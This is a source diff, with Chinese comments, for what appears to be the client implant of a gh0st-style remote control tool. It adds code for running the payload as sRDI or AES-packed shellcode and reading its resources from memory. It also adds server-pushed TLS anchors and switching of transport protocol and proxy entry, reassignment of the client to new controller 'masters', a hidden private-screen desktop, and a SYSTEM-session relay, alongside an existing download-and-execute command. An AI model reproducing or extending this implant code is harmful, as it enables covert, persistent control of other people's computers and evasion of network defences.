// Disconnect 时清除。与 m_useTls 一样按连接锁定,Send/Recv 不再现查 protoType。
|
||||
WsChannel m_ws;
|
||||
// 收发分处两个线程:连接线程写、接收/发送线程读。形式上必须是原子量(x86 上实践
|
||||
// 无害,但换成别的架构就不能再依赖这个巧合)。
|
||||
std::atomic<bool> m_useWs{false};
|
||||
std::atomic<bool> m_loginAcked{false};
|
||||
// m_conn 为空时的协议来源(见 SetDefaultProto)。-1 = 未设置,按明文 TCP 处理。
|
||||
int m_defaultProto = -1;
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
|
||||
// 本连接是否走 TLS:在 ConnectServer 里握手成功时置位、Disconnect 时清除,Send/Recv
|
||||
// 一律按这个快照走,不再每次现查 TlsEnabled()。Linux 客户端支持服务端下发后热切换
|
||||
// 传输方式(TlsReload),若现查全局开关,切换后到重连完成之间的这一秒里会把明文塞进
|
||||
// 已建立的 TLS 会话(或反过来),白白制造协议错误。
|
||||
std::atomic<bool> m_useTls{false};
|
||||
#endif
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
// ImageResource.h: 不经加载器,直接从内存中的模块映像读取资源
|
||||
//
|
||||
// 加壳部署(EXE + SC_AES/sRDI)下,载荷映像以裸 shellcode 运行、未注册进加载器,
|
||||
// FindResource/LoadIcon/CreateDialogParamA 这类按 hInstance 找资源的 API 全部失败
|
||||
// (实测 Win11 返回 err=1812 / 59)。但映像的节(含 .rsrc)是按 PE 布局正常映射
|
||||
// 的,资源目录里的偏移又都是 RVA,因此可以直接遍历 IMAGE_RESOURCE_DIRECTORY
|
||||
// 取到资源数据。本文件只读调用方给出的映像,不做任何映射。
|
||||
//
|
||||
// 适用:正常 EXE/DLL、MemoryModule 手工映射 DLL、sRDI 包装的 shellcode 载荷。
|
||||
// 注意:调用方传入的必须是已映射映像的基址(如 &__ImageBase),不是磁盘文件。
|
||||
//
|
||||
// 稳定性:所有偏移都按 SizeOfImage / 资源目录大小做越界检查,映像布局异常
|
||||
// (被第三方加壳改坏、资源被裁剪等)时一律返回 NULL,绝不越界读取。
|
||||
|
||||
#ifndef YAMA_IMAGE_RESOURCE_H
|
||||
#define YAMA_IMAGE_RESOURCE_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" const IMAGE_DOS_HEADER __ImageBase;
|
||||
#endif
|
||||
|
||||
// RT_ICON / RT_GROUP_ICON 的数字 ID(与同名 RT_ 宏对应)
|
||||
#define IMAGE_RES_TYPE_ICON 3
|
||||
#define IMAGE_RES_TYPE_GROUP_ICON 14
|
||||
|
||||
#pragma pack(push, 1)
|
||||
typedef struct GRPICONDIRENTRY {
|
||||
BYTE bWidth;
|
||||
BYTE bHeight;
|
||||
BYTE bColorCount;
|
||||
BYTE bReserved;
|
||||
WORD wPlanes;
|
||||
WORD wBitCount;
|
||||
DWORD dwBytesInRes;
|
||||
WORD nID;
|
||||
} GRPICONDIRENTRY;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define IMAGE_RES_DIR_IN_BOUNDS(resOffset, resSize) \
|
||||
((resOffset) <= (resSize) - sizeof(IMAGE_RESOURCE_DIRECTORY))
|
||||
#define IMAGE_RES_ENTRY_ARRAY_OK(resOffset, resCount, resSize) \
|
||||
((resCount) <= ((resSize) - (resOffset) - sizeof(IMAGE_RESOURCE_DIRECTORY)) / sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY))
|
||||
|
||||
// 在已映射映像中查找 type/id(取第一个语言项)的资源数据,返回映像内指针
|
||||
static const BYTE* FindImageResource(const void* pvImage, WORD nType, WORD nId, DWORD* pdwSize)
|
||||
{
|
||||
if (pdwSize) *pdwSize = 0;
|
||||
if (!pvImage) return NULL;
|
||||
|
||||
const BYTE* pBase = (const BYTE*)pvImage;
|
||||
const DWORD dwLfanew = *(const DWORD*)(pBase + 0x3C);
|
||||
// 正常 PE 头远小于一页;sRDI 的 CLEARHEADER 只保留 PE 头(e_lfanew 之后),
|
||||
// 所以这里不能用 MZ 判断,只能靠 e_lfanew 与 PE 签名
|
||||
if (dwLfanew == 0 || dwLfanew > 0x1000) return NULL;
|
||||
const PIMAGE_NT_HEADERS pNt = (const PIMAGE_NT_HEADERS)(pBase + dwLfanew);
|
||||
if (pNt->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
|
||||
const DWORD dwImageSize = pNt->OptionalHeader.SizeOfImage;
|
||||
const DWORD dwResRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
|
||||
const DWORD dwResSize = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size;
|
||||
if (dwResRva == 0 || dwResSize < sizeof(IMAGE_RESOURCE_DIRECTORY) ||
|
||||
dwResRva > dwImageSize || dwResSize > dwImageSize - dwResRva) {
|
||||
return NULL;
|
||||
}
|
||||
const BYTE* pRes = pBase + dwResRva;
|
||||
// 已映射映像:资源目录与数据项偏移都是相对资源节起点的偏移 / RVA
|
||||
|
||||
// 目录三层:类型 -> 名称/ID -> 语言
|
||||
const WORD keys[2] = { nType, nId };
|
||||
DWORD dwDirOff = 0;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (!IMAGE_RES_DIR_IN_BOUNDS(dwDirOff, dwResSize)) return NULL;
|
||||
const IMAGE_RESOURCE_DIRECTORY* pRd = (const IMAGE_RESOURCE_DIRECTORY*)(pRes + dwDirOff);
|
||||
const DWORD dwCount = (DWORD)pRd->NumberOfNamedEntries + pRd->NumberOfIdEntries;
|
||||
if (!IMAGE_RES_ENTRY_ARRAY_OK(dwDirOff, dwCount, dwResSize)) return NULL;
|
||||
|
||||
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pEntry = (const IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pRd + 1);
|
||||
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pFound = NULL;
|
||||
for (DWORD j = 0; j < dwCount; j++) {
|
||||
// 只按数字 ID 匹配;命名项(NameIsString)跳过
|
||||
if (!(pEntry[j].Name & IMAGE_RESOURCE_NAME_IS_STRING) && pEntry[j].Id == keys[i]) {
|
||||
pFound = &pEntry[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!pFound || !pFound->DataIsDirectory) return NULL;
|
||||
dwDirOff = pFound->OffsetToDirectory;
|
||||
}
|
||||
|
||||
if (!IMAGE_RES_DIR_IN_BOUNDS(dwDirOff, dwResSize)) return NULL;
|
||||
const IMAGE_RESOURCE_DIRECTORY* pLangDir = (const IMAGE_RESOURCE_DIRECTORY*)(pRes + dwDirOff);
|
||||
const DWORD dwLangCount = (DWORD)pLangDir->NumberOfNamedEntries + pLangDir->NumberOfIdEntries;
|
||||
if (dwLangCount == 0 || !IMAGE_RES_ENTRY_ARRAY_OK(dwDirOff, dwLangCount, dwResSize)) return NULL;
|
||||
|
||||
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pLang = (const IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pLangDir + 1);
|
||||
if (pLang->DataIsDirectory) return NULL;
|
||||
|
||||
const DWORD dwDataOff = pLang->OffsetToData;
|
||||
if (dwDataOff > dwResSize - sizeof(IMAGE_RESOURCE_DATA_ENTRY)) return NULL;
|
||||
const IMAGE_RESOURCE_DATA_ENTRY* pData = (const IMAGE_RESOURCE_DATA_ENTRY*)(pRes + dwDataOff);
|
||||
const DWORD dwRva = pData->OffsetToData;
|
||||
const DWORD dwBytes = pData->Size;
|
||||
if (dwRva > dwImageSize || dwBytes > dwImageSize - dwRva) return NULL;
|
||||
|
||||
if (pdwSize) *pdwSize = dwBytes;
|
||||
return pBase + dwRva; // OffsetToData 是 RVA
|
||||
}
|
||||
|
||||
// 按图标组(RT_GROUP_ICON)ID 建 HICON:选尺寸最接近 nWidth x nHeight 的一帧,
|
||||
// 用 CreateIconFromResourceEx 创建。返回的 HICON 由调用方负责 DestroyIcon。
|
||||
static HICON CreateImageIcon(const void* pvImage, WORD nGroupId, int nWidth, int nHeight)
|
||||
{
|
||||
DWORD dwGroupSize = 0;
|
||||
const BYTE* pGroup = FindImageResource(pvImage, IMAGE_RES_TYPE_GROUP_ICON, nGroupId, &dwGroupSize);
|
||||
if (!pGroup || dwGroupSize < 6 + sizeof(GRPICONDIRENTRY)) return NULL;
|
||||
|
||||
// GRPICONDIR: WORD idReserved, idType, idCount
|
||||
const WORD nCount = *(const WORD*)(pGroup + 4);
|
||||
if (*(const WORD*)(pGroup + 2) != 1 || nCount == 0) return NULL;
|
||||
if (dwGroupSize < 6 + (DWORD)nCount * sizeof(GRPICONDIRENTRY)) return NULL;
|
||||
|
||||
const GRPICONDIRENTRY* pBest = NULL;
|
||||
int nBestDiff = 0x7FFFFFFF;
|
||||
for (WORD i = 0; i < nCount; i++) {
|
||||
const GRPICONDIRENTRY* pEntry = (const GRPICONDIRENTRY*)(pGroup + 6 + i * sizeof(GRPICONDIRENTRY));
|
||||
const int w = pEntry->bWidth ? pEntry->bWidth : 256; // 0 表示 256
|
||||
const int h = pEntry->bHeight ? pEntry->bHeight : 256;
|
||||
const int dx = w > nWidth ? w - nWidth : nWidth - w;
|
||||
const int dy = h > nHeight ? h - nHeight : nHeight - h;
|
||||
if (dx + dy < nBestDiff) {
|
||||
nBestDiff = dx + dy;
|
||||
pBest = pEntry;
|
||||
}
|
||||
}
|
||||
if (!pBest) return NULL;
|
||||
|
||||
DWORD dwIconSize = 0;
|
||||
const BYTE* pIcon = FindImageResource(pvImage, IMAGE_RES_TYPE_ICON, pBest->nID, &dwIconSize);
|
||||
if (!pIcon || dwIconSize == 0) return NULL;
|
||||
|
||||
return (HICON)CreateIconFromResourceEx((PBYTE)pIcon, dwIconSize, TRUE, 0x00030000,
|
||||
nWidth, nHeight, LR_DEFAULTCOLOR);
|
||||
}
|
||||
|
||||
#endif // YAMA_IMAGE_RESOURCE_H
|
||||
+513
-2
@@ -10,6 +10,7 @@
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "common/dllRunner.h"
|
||||
#include "server/2015Remote/pwd_gen.h"
|
||||
@@ -23,6 +24,7 @@
|
||||
#include "common/DateVerify.h"
|
||||
#include "common/LANChecker.h"
|
||||
#include "common/scheduler.h"
|
||||
#include "session.h"
|
||||
extern "C" {
|
||||
#include "ServiceWrapper.h"
|
||||
}
|
||||
@@ -43,6 +45,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
|
||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||
if (type == PROTO_HTTP || type == PROTO_HTTPS)
|
||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn, publicIP);
|
||||
// WebSocket:仍然是 IOCPClient(TCP 承载),只是 ConnectServer 里多做一次 Upgrade
|
||||
// 握手,Send/Recv 换成 WS 帧。HTTP 伪装层不用(WS 帧本身就是 HTTP 升级后的流)。
|
||||
if (type == PROTO_WS || type == PROTO_WSS)
|
||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn, publicIP);
|
||||
if (type == PROTO_KCP) {
|
||||
return new IOCPKCPClient(bExit, exit_while_disconnect);
|
||||
}
|
||||
@@ -795,6 +801,31 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
|
||||
client->Send2Server((char*)&msg, sizeof(msg));
|
||||
}
|
||||
|
||||
|
||||
extern "C" bool IsSystemInSession0();
|
||||
|
||||
// 信任锚已写入/删除:热重载 TLS 状态,只在传输方式真正变化(明文 ↔ TLS)时断开重连;
|
||||
// 仅换证书(仍是 TLS)不打断现有会话,新锚从下一条新连接开始生效。与 Linux 版的
|
||||
// linux/main.cpp::ApplyTlsAnchorChange 同一语义。
|
||||
static void ApplyTlsAnchorChange(IOCPClient* client)
|
||||
{
|
||||
const bool before = TlsEnabled();
|
||||
std::string err;
|
||||
if (!TlsReload(err)) {
|
||||
Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str());
|
||||
return;
|
||||
}
|
||||
const bool after = TlsEnabled();
|
||||
if (before == after) {
|
||||
Mprintf("[TLS] trust anchor updated, transport unchanged (%s)\n",
|
||||
after ? "TLS" : "plaintext");
|
||||
return;
|
||||
}
|
||||
Mprintf("[TLS] transport switched to %s, reconnecting\n", after ? "TLS" : "plaintext");
|
||||
if (client)
|
||||
client->Disconnect(); // 断开后由重连循环用新传输方式重新登录
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
@@ -807,11 +838,158 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
std::string publicIP = m_ClientObject->GetClientIP();
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_FORBIDDEN: {
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
break;
|
||||
}
|
||||
case COMMAND_QUERY_LOG: {
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth();
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
case COMMAND_QUERY_ACTIVITY: {
|
||||
// 主连接一次性快照:直接 dump 历史活动并回传
|
||||
std::string text = ActivityHistory::Instance().Dump();
|
||||
std::vector<BYTE> pkt(1 + text.size());
|
||||
pkt[0] = TOKEN_REPORT_ACTIVITY;
|
||||
if (!text.empty())
|
||||
memcpy(pkt.data() + 1, text.data(), text.size());
|
||||
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||||
break;
|
||||
}
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
m_cfg->SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
case COMMAND_REGEN_CLIENT_ID: {
|
||||
// 撞 ID 的克隆机:服务端已判定「主机名不同却撞 client_id」,让本机重生成 ID。
|
||||
// 新 ID = 旧 ID + 随机 UUID 再哈希,写回注册表后主动断开主连接,重连循环
|
||||
// 会用新 ID 重新登录,脱离撞 ID 状态(脱离替补、正常显示在主机列表)。
|
||||
uint64_t newID = RegenerateClientID(m_conn->clientID);
|
||||
m_cfg->SetStr("settings", "client_id", std::to_string(newID));
|
||||
Mprintf("[regen-client-id] 重生成 client_id: %llu -> %llu,即将重连\n",
|
||||
m_conn->clientID, newID);
|
||||
if (m_ClientObject)
|
||||
m_ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TLS_ENABLE: {
|
||||
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
|
||||
// 写入注册表 settings\tls_cert 后热重载:明文 → TLS 的切换会断开本连接,重连
|
||||
// 循环随即用 TLS 重新登录(此前按明文回退的 WSS 客户端就此升级为 WSS)。
|
||||
if (ulLength > 1) {
|
||||
std::string certPem((char*)szBuffer + 1, ulLength - 1);
|
||||
m_cfg->SetStr("settings", "tls_cert", certPem);
|
||||
ApplyTlsAnchorChange(m_ClientObject);
|
||||
} else {
|
||||
// 没有证书正文就等于「启用但没有锚」——不该悄悄忽略,留一行便于排查。
|
||||
Mprintf("[TLS] COMMAND_TLS_ENABLE without a certificate payload, ignored\n");
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_TLS_DISABLE: {
|
||||
// 删除注册表信任锚后热重载:TLS → 明文时断开重连(WSS 客户端会回到明文回退)。
|
||||
std::string subKey = GetRegistryName() + "\\settings";
|
||||
HKEY hKey = NULL;
|
||||
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
|
||||
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
||||
RegDeleteValueA(hKey, "tls_cert");
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
ApplyTlsAnchorChange(m_ClientObject);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SET_PROTO: {
|
||||
// 协议切换(TCP / WS / WSS):把目标入口写进本机配置后断开本连接,重连循环
|
||||
// (ClientDll.cpp 的 ApplyProtoSwitch)按新入口重连。入口覆盖要落盘,否则在线
|
||||
// 升级换 DLL 后会被外壳注入的 protoType 按回 TCP。
|
||||
//
|
||||
// 载荷:[ProtoSwitchPacket][certLen 字节 PEM];host/port 都为空 = 还原到固定
|
||||
// 直连入口(客户端记着安装时的 base 入口)。WSS 可附带信任锚(反代证书),先
|
||||
// 落盘并重建 TLS 上下文,但这里不主动断开——断开统一放在末尾,避免丢后续包。
|
||||
// 分享实例的连接入口由分享方控制,主控的协议切换对它无效——直接忽略,
|
||||
// 避免白白断开一次再按注入配置连回来。
|
||||
if (m_ClientApp && m_ClientApp->IsShared()) {
|
||||
Mprintf("[proto-switch] ignored: shared instance follows the sharing host's entry\n");
|
||||
break;
|
||||
}
|
||||
if (ulLength < 1 + sizeof(ProtoSwitchPacket)) {
|
||||
Mprintf("[proto-switch] payload too short (%u), ignored\n", ulLength);
|
||||
break;
|
||||
}
|
||||
ProtoSwitchPacket p = {};
|
||||
memcpy(&p, szBuffer + 1, sizeof(p));
|
||||
p.host[sizeof(p.host) - 1] = '\0';
|
||||
p.port[sizeof(p.port) - 1] = '\0';
|
||||
const int proto = p.proto;
|
||||
if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) {
|
||||
Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto);
|
||||
break;
|
||||
}
|
||||
const std::string host(p.host);
|
||||
const int port = atoi(p.port);
|
||||
const bool restore = (proto == PROTO_TCP && host.empty());
|
||||
if (!restore && (host.empty() || port <= 0)) {
|
||||
Mprintf("[proto-switch] missing proxy entry for proto %d, ignored\n", proto);
|
||||
break;
|
||||
}
|
||||
|
||||
// 随包下发的信任锚(WSS):写入后热重载,让下一次连接能校验反代证书。
|
||||
const uint32_t maxCert = (uint32_t)(ulLength - 1 - sizeof(ProtoSwitchPacket));
|
||||
uint32_t certLen = p.certLen < maxCert ? p.certLen : maxCert;
|
||||
if (certLen > 0) {
|
||||
std::string certPem((const char*)szBuffer + 1 + sizeof(ProtoSwitchPacket), certLen);
|
||||
const std::string prevCert = m_cfg->GetStr("settings", "tls_cert");
|
||||
m_cfg->SetStr("settings", "tls_cert", certPem);
|
||||
std::string err;
|
||||
if (!TlsReload(err)) {
|
||||
// 放弃本次切换(不写 proto_override/entry_*,不断连):PEM 加载不了时客户端
|
||||
// 会进入 TlsLoadError() 的 fail-closed 状态,切过去只会「新入口连不上,等
|
||||
// 5 分钟自动回退」——而且自动回退本身也可能被误撤销。回滚证书并回报操作端。
|
||||
m_cfg->SetStr("settings", "tls_cert", prevCert);
|
||||
const std::string loadErr = err;
|
||||
TlsReload(err); // 让 TLS 上下文回到旧锚(失败也不影响:旧锚此前是好的)
|
||||
Mprintf("[proto-switch] trust anchor reload failed: %s, switch aborted\n", loadErr.c_str());
|
||||
ClientMsg msg("协议切换", ("证书加载失败,已取消切换: " + loadErr).c_str());
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (restore) {
|
||||
m_cfg->SetStr("settings", "proto_override", "");
|
||||
m_cfg->SetStr("settings", "entry_host", "");
|
||||
m_cfg->SetStr("settings", "entry_port", "");
|
||||
m_cfg->SetStr("settings", "entry_try_at", "0");
|
||||
Mprintf("[proto-switch] restore request, reconnecting to the direct entry\n");
|
||||
} else {
|
||||
// 首次切换记下安装时的直连入口(「还原」用);每次切换记下当前入口(自动回退用)
|
||||
if (m_cfg->GetStr("settings", "base_host").empty()) {
|
||||
m_cfg->SetStr("settings", "base_host", m_conn->ServerIP());
|
||||
m_cfg->SetStr("settings", "base_port", std::to_string(m_conn->ServerPort()));
|
||||
m_cfg->SetStr("settings", "base_proto",
|
||||
std::to_string((int)(unsigned char)m_conn->protoType));
|
||||
}
|
||||
m_cfg->SetStr("settings", "prev_host", m_conn->ServerIP());
|
||||
m_cfg->SetStr("settings", "prev_port", std::to_string(m_conn->ServerPort()));
|
||||
m_cfg->SetStr("settings", "prev_proto", std::to_string((int)(unsigned char)m_conn->protoType));
|
||||
|
||||
m_cfg->SetStr("settings", "proto_override", std::to_string(proto));
|
||||
m_cfg->SetStr("settings", "entry_host", host);
|
||||
m_cfg->SetStr("settings", "entry_port", std::to_string(port));
|
||||
m_cfg->SetStr("settings", "entry_try_at", std::to_string((long long)time(0)));
|
||||
Mprintf("[proto-switch] switching to proto %d via %s:%d, reconnecting\n",
|
||||
proto, host.c_str(), port);
|
||||
}
|
||||
if (m_ClientObject)
|
||||
m_ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
@@ -952,6 +1130,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
|
||||
}
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||
std::string hash = std::string(h, h + 64);
|
||||
@@ -989,6 +1171,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SHARE:
|
||||
case COMMAND_ASSIGN_MASTER:
|
||||
if (ulLength > 2) {
|
||||
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
|
||||
int shareProto = -1;
|
||||
{
|
||||
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
|
||||
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
|
||||
shareProto = atoi(pv[2].c_str());
|
||||
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
|
||||
shareProto = atoi(pv[3].c_str());
|
||||
}
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA_FOREVER: {
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
@@ -999,6 +1190,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (now <= valid_to) break; // Avoid assign again
|
||||
m_cfg->SetStr("settings", "master", v[0]);
|
||||
m_cfg->SetStr("settings", "port", v[1]);
|
||||
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
|
||||
float days = atof(v[2].c_str());
|
||||
if (days > 0) {
|
||||
auto valid_to = time(0) + days*86400;
|
||||
@@ -1017,6 +1210,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto share = v[0] + ":" + v[1];
|
||||
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||
share += ":" + std::to_string(shareProto);
|
||||
auto list = m_cfg->GetStr("settings", "share_list");
|
||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||
if (VectorContains(shareList, share)) break;
|
||||
@@ -1024,7 +1219,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
}
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
|
||||
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
break;
|
||||
}
|
||||
@@ -1047,6 +1242,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
OnHeatbeatResponse(szBuffer, ulLength);
|
||||
break;
|
||||
case CMD_MASTERSETTING:
|
||||
// 登录已被服务端接受:服务端把本机加入在线列表后才下发 MasterSettings
|
||||
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径)。协议切换的
|
||||
// 自动回退靠这个信号撤销,而不是只看连接是否建立——连接建立只说明握手完成。
|
||||
if (m_ClientObject)
|
||||
m_ClientObject->SetLoginAcked(true);
|
||||
if (ulLength > MasterSettingsOldSize) {
|
||||
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
|
||||
if (m_settings.Signature[0] && m_LoginSignature.empty()) {
|
||||
@@ -1070,6 +1270,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
mgr->EnableOfflineRecord(TRUE);
|
||||
}
|
||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
|
||||
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
|
||||
// 调用点经 GetTransferSpeed 读取。
|
||||
if (m_settings.TransferChunkKb) {
|
||||
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
|
||||
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
|
||||
}
|
||||
}
|
||||
if (IsAuthKernel() &&
|
||||
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
|
||||
@@ -1110,6 +1317,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CHAT: { // 远程交谈(双向聊天)
|
||||
if (!ENABLE_MESSAGE) {
|
||||
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_MACHINE_MANAGE: { // 主机管理
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
